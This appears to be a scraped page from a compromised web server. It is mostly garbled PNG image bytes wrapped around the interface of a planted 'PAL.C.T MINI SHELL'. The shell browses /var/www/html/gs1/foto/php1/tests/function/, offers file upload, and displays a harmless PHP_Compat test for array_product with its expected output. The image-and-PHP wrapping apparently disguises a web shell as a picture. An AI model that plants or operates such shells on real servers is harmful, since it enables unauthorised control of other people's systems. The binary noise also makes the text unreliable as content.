�php  IHDRwQ)B�a pHYs  ��sRGB���gAMA�� �a�IDATx��Mk\U��s&uo,�m�D )Xw�+�e?��tw.�o�Wp��;���QHZnw�`gaiJ�9�����̟灙����a�=�nl�[ ʨG��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$�����y H����@�E7j�� 1j+OF����Rg}ܫ�;@�E��a�����~ �j`�u�'o�> �j�-$�_�q?�q�SXzG'��ay

PAL.C.T MINI SHELL
files >> /var/www/html/gs1/foto/php1/tests/function/
upload
files >> //var/www/html/gs1/foto/php1/tests/function/array_product.phpt

--TEST--
Function -- array_product
--FILE--
<?php
require_once 'PHP/Compat/Function/array_product.php';

function ehandler($no, $str)
{
    echo '(Warning) ';
}
set_error_handler('ehandler');

$tests = array(
    'foo',
    array(),
    array(0),
    array(3),
    array(3, 3),
    array(0.5, 2, 3)
);

foreach ($tests as $v) {
    echo "testing: (", (is_array($v) ? implode(' * ', $v) : $v), ")\n    result: ";
    var_dump(php_compat_array_product($v));
    echo "\n\n"; 
}

restore_error_handler();
?>
--EXPECT--
testing: (foo)
    result: (Warning) NULL


testing: ()
    result: int(0)


testing: (0)
    result: int(0)


testing: (3)
    result: int(3)


testing: (3 * 3)
    result: int(9)


testing: (0.5 * 2 * 3)
    result: float(3)
� y���~�or�5�J�={��E��e�u磝Qk��ᯘG{�?���+�]������ן�?w�M3X^��歌>{�7پ�K�>�o��n�\����j�y��R ���g/�=��f�O��r�o��NV�v��~�Y+��NG�u���Ý����HW��y�w�[eQ�ʨ�S�b��>������>�}G�mx[o[<��{���Ϯ_��qF� ��vMIEND�B`�